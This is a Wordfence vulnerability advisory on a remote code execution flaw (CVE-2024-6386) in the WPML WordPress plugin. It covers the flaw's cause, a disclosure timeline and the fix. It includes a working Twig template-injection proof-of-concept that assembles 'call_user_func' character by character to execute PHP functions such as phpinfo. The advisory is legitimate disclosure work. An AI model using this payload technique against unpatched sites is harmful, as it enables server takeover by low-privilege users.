1,000,000 WordPress Sites Protected Against Unique Remote Code Execution Vulnerability in WPML WordPress Plugin


📢 Did you know Wordfence runs a Bug Bounty Program for all WordPress plugin and themes at no cost to vendors? Through October 14th, researchers can earn up to $31,200, for all in-scope vulnerabilities submitted to our Bug Bounty Program! Find a vulnerability, submit the details directly to us, and we handle all the rest. 


On June 19th, 2024, we received a submission for a Remote Code Execution via Twig Server-Side Template Injection vulnerability in WPML, a WordPress plugin with more than 1,000,000 active installations. This vulnerability can be leveraged to execute code remotely by authenticated users with access to the post editor.

Props to stealthcopter who discovered and responsibly reported this vulnerability through the Wordfence Bug Bounty Program. This researcher earned a bounty of $1,639.00 for this discovery. Our mission is to Secure the Web, which is why we are investing in quality vulnerability research and collaborating with researchers of this caliber through our Bug Bounty Program. We are committed to making the WordPress ecosystem more secure, which ultimately makes the entire web more secure.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against any exploits targeting this vulnerability on June 27, 2024. Sites using the free version of Wordfence received the same protection 30 days later on July 27, 2024.

We contacted the WPML team via their security issues form on June 27, 2024, but we didn’t get a response. After that, we tried to get connected with the OnTheGoSystems team via email on July 17, 2024, and via contact form on July 29, 2024, and received a response on August 1, 2024. After providing full disclosure details, the developer released the patch on August 20, 2024.

We urge users to update their sites with the latest patched version of WPML, version 4.6.13 at the time of this writing, as soon as possible.

Vulnerability Summary from Wordfence Intelligence

Description: WPML Multilingual CMS <= 4.6.12 - Authenticated (Contributor+) Remote Code Execution via Twig Server-Side Template Injection
Affected Plugin: WPML
Plugin Slug: sitepress-multilingual-cms
Affected Versions: <= 4.6.12
CVE ID: CVE-2024-6386
CVSS Score: 9.9 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Researcher/s: stealthcopter
Fully Patched Version: 4.6.13
Bounty Award: $1,639.00

The WPML plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.6.12 via Twig Server-Side Template Injection. This is due to missing input validation and sanitization on the render function. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.

Technical Analysis

WPML is the most popular WordPress multilingual plugin to create and manage translations and build a multilingual website.

The plugin provides a shortcode ([wpml_language_switcher]) that can be used to add a custom language switcher with a Twig template. The shortcode calls the callback() function in the WPML_LS_Shortcodes class, which then invokes the render() function in the WPML_LS_Public_API class.

add_shortcode( 'wpml_language_switcher', array( $this, 'callback' ) );
public function callback( $args, $content = null, $tag = '' ) {
	$args = (array) $args;
	$args = $this->parse_legacy_shortcodes( $args, $tag );
	$args = $this->convert_shortcode_args_aliases( $args );

	return $this->render( $args, $content );
}
protected function render( $args, $twig_template = null ) {
	$defaults_slot_args = $this->get_default_slot_args( $args );
	$slot_args          = array_merge( $defaults_slot_args, $args );

	$slot = $this->get_slot_factory()->get_slot( $slot_args );
	$slot->set( 'show', 1 );
	$slot->set( 'template_string', $twig_template );

	if ( $slot->is_post_translations() ) {
		$output = $this->render->post_translations_label( $slot );
	} else {
		$output = $this->render->render( $slot );
	}

	return $output;
}

This function renders the Twig template supplied in the shortcode content but fails to sanitize it, making it possible to inject malicious code into a template that is executed on the server.

Twig has predefined functions and filters that ultimately execute specific PHP functions. For example, the filter filter uses the array_filter() PHP function, which can be used for arbitrary function calls:

new \WPML\Core\Twig\TwigFilter('filter', '\\WPML\\Core\\twig_array_filter')
function twig_array_filter($array, $arrow)
{
    if (\is_array($array)) {
        if (\PHP_VERSION_ID >= 50600) {
            return \array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);
        }
        return \array_filter($array, $arrow);
    }
    // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
    return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}

As with all remote code execution vulnerabilities, this can lead to complete site compromise through the use of webshells and other techniques.

Proof-of-Concept Exploit

Let’s take a look at a non-malicious example where the following shortcode is used in the post content:

[wpml_language_switcher]
{% set rand = random() %}
{{ rand }}
{{ rand|reverse }}
[/wpml_language_switcher]

As a result, the following content will be displayed in the post:

1153819320
0239183511

The set tag assigns a value to a variable.
The random() function returns a random value depending on the supplied parameter type.
The reverse filter reverses the value.

A real malicious exploit is more complicated, but fascinating, because WordPress HTML encodes any single or double quotes. However, there are still ways to perform Twig template injection to achieve remote code execution using various methods. The following highlights a simple example utilizing phpinfo():

[wpml_language_switcher]
abcdefghijklmnopqrstuvwxyz_
{% set env_chars = _self %}

{% set a = env_chars|trim()|slice(0, 1) %}
{% set b = env_chars|trim()|slice(1, 1) %}
{% set c = env_chars|trim()|slice(2, 1) %}
{% set d = env_chars|trim()|slice(3, 1) %}
{% set e = env_chars|trim()|slice(4, 1) %}
{% set f = env_chars|trim()|slice(5, 1) %}
{% set g = env_chars|trim()|slice(6, 1) %}
{% set h = env_chars|trim()|slice(7, 1) %}
{% set i = env_chars|trim()|slice(8, 1) %}
{% set j = env_chars|trim()|slice(9, 1) %}
{% set k = env_chars|trim()|slice(10, 1) %}
{% set l = env_chars|trim()|slice(11, 1) %}
{% set m = env_chars|trim()|slice(12, 1) %}
{% set n = env_chars|trim()|slice(13, 1) %}
{% set o = env_chars|trim()|slice(14, 1) %}
{% set p = env_chars|trim()|slice(15, 1) %}
{% set q = env_chars|trim()|slice(16, 1) %}
{% set r = env_chars|trim()|slice(17, 1) %}
{% set s = env_chars|trim()|slice(18, 1) %}
{% set t = env_chars|trim()|slice(19, 1) %}
{% set u = env_chars|trim()|slice(20, 1) %}
{% set v = env_chars|trim()|slice(21, 1) %}
{% set w = env_chars|trim()|slice(22, 1) %}
{% set x = env_chars|trim()|slice(23, 1) %}
{% set y = env_chars|trim()|slice(24, 1) %}
{% set z = env_chars|trim()|slice(25, 1) %}
{% set underscore = env_chars|trim()|slice(26, 1) %}

{% set call_user_func = c~a~l~l~underscore~u~s~e~r~underscore~f~u~n~c %}
{% set phpinfo = p~h~p~i~n~f~o %}

{{ {1: phpinfo}|filter(call_user_func) }}
[/wpml_language_switcher]

The ~ operator converts all operands into strings and concatenates them. Since single or double quotes cannot be used, this operator should be used to create strings.

As per Twig documentation, the filter filter filters elements of a mapping using an arrow function. This filter uses the array_filter() PHP function with the ARRAY_FILTER_USE_BOTH mode parameter.

The array in the example is array(1 => 'phpinfo'), and the arrow function is call_user_func thus executing the following PHP function:

array_filter(array(1 => 'phpinfo'), 'call_user_func', ARRAY_FILTER_USE_BOTH);

The array_filter() function calls the call_user_func() callback function and passes phpinfo and 1 as arguments.

The phpinfo(1) function is then executed. This can be leveraged for more complex exploit scenarios that can lead to complete compromise. Special props to the researcher, stealthcopter, for getting creative and figuring out a way to exploit this issue.

Disclosure Timeline

June 19, 2024 – We received the submission for the Remote Code Execution via Twig Server-Side Template Injection vulnerability in WPML via the Wordfence Bug Bounty Program.
June 27, 2024 – We validated the report and confirmed the proof-of-concept exploit.
June 27, 2024Wordfence Premium, Care, and Response users received a firewall rule to provide protection against any exploits that may target this vulnerability.
June 27, 2024 – We sent over the full disclosure details via the vendor’s security issues form.
July 7, 2024 – After not receiving a response from the plugin developer we sent a follow-up contact.
July 17, 2024 – We initiated contact via email with the plugin vendor asking that they confirm the inbox for handling the discussion.
July 27, 2024 – Wordfence Free users received the same firewall protection.
July 29, 2024 – After not receiving a response from the plugin developer we sent a follow-up contact via contact form.
August 1, 2024 – The vendor confirmed the inbox for handling the discussion.
August 2, 2024 – The vendor acknowledged the report and began working on a fix.
August 20, 2024 – The fully patched version of the plugin, 4.6.13, was released.

Conclusion

In this blog post, we detailed a Remote Code Execution via Twig Server-Side Template Injection vulnerability within the WPML plugin affecting versions 4.6.12 and earlier. This vulnerability allows authenticated threat actors with contributor-level permissions or higher to execute malicious code on the server. The vulnerability has been addressed in version 4.6.13 of the plugin.

We encourage WordPress users to verify that their sites are updated to the latest patched version of WPML as soon as possible considering the critical nature of this vulnerability.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against any exploits targeting this vulnerability on June 27, 2024. Sites using the free version of Wordfence received the same protection 30 days later on July 27, 2024.

If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk.

Did you enjoy this post? Share it!

Comments

No Comments